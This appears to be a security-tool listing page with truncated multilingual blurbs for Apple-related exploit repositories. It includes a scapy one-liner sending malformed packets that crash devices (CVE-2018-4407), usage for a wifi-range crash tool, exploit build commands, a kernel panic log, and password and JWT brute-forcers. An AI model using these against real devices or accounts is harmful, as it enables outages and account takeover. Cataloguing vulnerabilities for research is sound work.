Inferno

ChefKiss Inferno ChefKiss Inferno は、Apple ARM デバイスのゲストサポートを提供する QEMU プロジェクトから派生したものです。 !CAUTION プロジェクトの開発を継続し、無料でオープンソースであり続けるために、 寄付やチップをご検討ください。 PayPal またはクレジット/デビットカード: https://ko-fi.com/chefkiss BTC: bc1qgu56kptepex2csuzl5nhzc4vxuj8c6ggjzhcem SOL: 4PJU3iB5rimN9BNcpzduvmTnptJyedZiAd23so33SAdi...

check_icmp_dos

checkicmpdos iOS 12 / OS X Remote Kernel Heap Overflow CVE-2018-4407 POC: root@kitploit: pip install scapy sudo scapy sendIPdst=“Target IP“,options=IPOption“A”8/TCPdport=2323,options=19, “1"18,19, “2”18 Or use the script root@kitploit: python checkicmpdos.py 127.0.0.1 This vulnerability allows an...

cve-2026-64725-poc

仓库里有什么？ 这是针对 CVE-2026-64725 的一个 PoC。有关详细信息，请参阅 源代码 和 博客文章。 如何复现？ 平台 已在 macOS 26.4.1（build 25E253；Darwin 25.4.0 xnu-12377.101.151；Apple Silicon T8103 / M1）上发现。 Apple 确认 macOS/iOS/iPadOS 26.6 均存在漏洞。 PoC 1. 确保你的 Mac 运行的是最新版 macOS 2. 确保你已安装 Python 3.6+ 和 clang 3. 将仓库克隆到你的 Mac 上 4. 生成一个最小化的畸形 AIFF...

killosx

killosx 使用 Apple CoreText 漏洞 CVE-2012-3716 并启动一个 AP，影响 wifi 范围内所有易受攻击的 Apple 设备。 安装: 在 killosx 目录中运行 'make install'。现在可以在任何地方使用 'killosx' 运行 killosx。 用法: root@kitploit: killOSX Usage - killosx -i wlan0 Run exploit on wlan0 killosx -h This help...

CVE-2021-30860

CVE-2021-30860 CVE-2021-30860 FORCEDENTRY는 MacOS, iOS 및 WatchOS의 알려진 취약점입니다. 피해 기기에 "악의적으로 조작된 PDF"를 전송하여 임의 코드 실행을 허용합니다. 이 취약점은 2021년 9월 13일 Apple에 의해 다음 버전에서 패치되었습니다: iOS 14.8 OSX Big Sur 11.6, Security Update 2021-005 Catalina WatchOS 7.6.2 그러나 2021년 2월 또는 그 이전부터 실제 환경에서 악용되어 왔습니다. 목적 MacOS 컴...

appledb_rs

Appleアーティファクトデータベース プラットフォーム/バージョンごとにApple内部に関するさまざまな情報を保存するサーバーです。 保存されるアーティファクト: 実行可能ファイル エンタイトルメント フレームワーク デバイス バージョン 主な特徴: APIコール、CLI、WebUIによる完全なアクセス 拡張が容易な設計 完全オフライン環境でも動作します！ インストール 改善されたドキュメントはこちらにあります。 サーバー設定 改善されたドキュメントはこちらにあります。 APIドキュメント Swaggerドキュメントは、サーバー実行時に公開ルートと管理ルートの両方で利用できます:...

cve-2019-6207

CVE-2019-6207 root@kitploit: $ clang exploit.c -o exploit $ ./exploit CVE-2019-6207 exploit to leak 4 bytes of arbitrary kernel memory Tested on MacOS 10.14.1, should works on: MacOS wop != NETRTDUMP2 int size = rtmsg2RTMGET, &info, NULL, w, credp; if w-wreq != NULL && w-wtmem != NULL struct...

CVE-2022-32883

CVE-2022-32883 Apple MapsでコンピュータをGPSトラッカーに変える...

AppleDOS

AppleDOS CVE-2018-4407 CVE-2018-4407 https://lgtm.com/blog/applexnuicmperrorCVE-2018-4407、このtweet、およびこのvideoに基づいています。このバグは、OSが不正なパケットのセグメントを含むICMPメッセージを送信者に返送しようとする際の不正なパケット処理におけるヒープオーバーフローの脆弱性です。...

c-jwt-cracker

JWT cracker A multi-threaded JWT brute-force cracker written in C. If you are very lucky or have a huge computing power, this program should find the secret key of a JWT token, allowing you to forge valid tokens. This is for testing purposes only, do not put yourself in trouble : I used the Apple...

CVE-2014-1266-poc

OS X/iOS SSL 취약점 POC 개요 이 저장소는 iOS와 OS X에서 최근 발견된 SSL 확인 취약점을 시연하는 몇 가지 Go 코드를 포함하고 있습니다. Apple 업데이트 공지 Adam Langley의 글 사용법 root@kitploit: $ git clone https://github.com/gabrielg/CVE-2014-1266-poc.git $ cd CVE-2014-1266-poc $ go build main.go $ ./main In another terminal $ cd CVE-2014-1266-poc $ ...

MStore API <= 4.10.7 - Unauthorized Account Access and Privilege Escalation

The MStore API plugin for WordPress is vulnerable to Unauthorized Account Access and Privilege Escalation in versions up to, and including, 4.10.7 due to improper implementation of the Apple login feature. This allows unauthenticated attackers to log in as any user as long as they know the user's...

CocoaPods-RCE_CVE-2024-38366

CocoaPods-RCE このリポジトリには、CocoaPods パッケージマネージャーの調査と分析の過程で発見された RCE 脆弱性に関する、研究プロセスと考察のより詳細な内容が含まれています。 研究発表のブログ記事はこちらで読めます： https://www.evasec.io/blog/eva-discovered-supply-chain-vulnerabities-in-cocoapods 研究の背景 CocoaPods Trunk Server は、Apple エコシステム（特に iOS および macOS 開発）で使用される...

openwifipass

OpenWifiPass An open source implementation of the grantor role in Apple's Wi-Fi Password Sharing protocol. Disclaimer OpenWifiPass is experimental software and is the result of reverse engineering efforts by the Open Wireless Link project. The code serves solely documentary and educational...

CVE-2024-27804

CVE-2024-27804 root@kitploit: ./build.sh ./panic.sh root@kitploit: paniccpu 4 caller 0xfffffe0026851cdc: Unaligned kernel data abort. at pc 0xfffffe0026aed514, lr 0xfffffe0026aed5d8 saved state: 0xfffffe3a396e3200 x0: 0x000000000000000e x1: 0xfffffe1002bdc01b x2: 0x0000000000000000 x3:...

Apple-Safari-Remote-Code-Execution-CVE-2020-27930

此存储库没有 README。...

ibrute

업데이트 클라우드 저장소 보안에 대해 우려하신다면 내가 클라우드였다면?을 읽고 피드백을 남겨 주세요. 감사합니다. 재미의 끝, Apple이 방금 패치했습니다. 여기 appleID 비밀번호 무차별 대입 p0c가 있습니다. 이것은 p0c일 뿐이므로 다음 기능은 없습니다. MultiThreading멀티스레딩 기능 Save-State-On-Exception예외 시 상태 저장 기능 직접 만들어 보세요. Find My Iphone 서비스 API를 사용하며, 여기에는 무차별 대입 방지 기능이 구현되어 있지 않습니다. 비밀번호 목록은...

vphone-cli

🇰🇷한국어 | 🇯🇵日本語 | 🇨🇳中文 | 🇬🇧English vphone-cli 使用 PCC 研究虚拟机基础设施，通过 Apple 的 Virtualization.framework 启动一台虚拟 iPhone。 前置条件 宿主机： Apple Silicon macOS 15+（Sequoia） Xcode + iOS SDK（用于交叉编译访客守护进程） 放宽 SIP/AMFI，以允许未签名二进制使用私有 PV=3 授权 依赖： root@kitploit: brew install [email protected] aria2 wget gnu-tar...

CVE-2024-44258

CVE-2024-44258: ManagedConfiguration 프레임워크의 심볼릭 링크 취약점 요약 CVE-2024-44258 는 Apple 기기의 ManagedConfiguration 프레임워크 및 profiled 데몬 내의 심볼릭 링크 취약점을 강조합니다. 조작된 백업을 복원할 때 마이그레이션 프로세스가 대상 폴더가 심볼릭 링크인지 확인하지 못하여 권한이 없는 파일이 제한된 영역으로 마이그레이션될 수 있습니다. CVE ID CVE-2024-44258 이 이 문제에 할당되었습니다. CVE는 공개적으로 알려진 보안 취약점에...

PongoOS

pongoOS Apple 보드용 사전 부트 실행 환경으로, checkra1n 기반으로 구축되었습니다. macOS에서 빌드하기 Xcode 및 커맨드라인 유틸리티 설치 make all 실행 Linux에서 빌드하기 clang 설치 의심스러운 경우, apt.llvm.org에서 ld64 및 cctools의 strip 설치. Debian/Ubuntu에서는 checkra1n 저장소에서 설치할 수 있습니다: root@kitploit: echo 'deb https://assets.checkra.in/debian /' | sudo tee...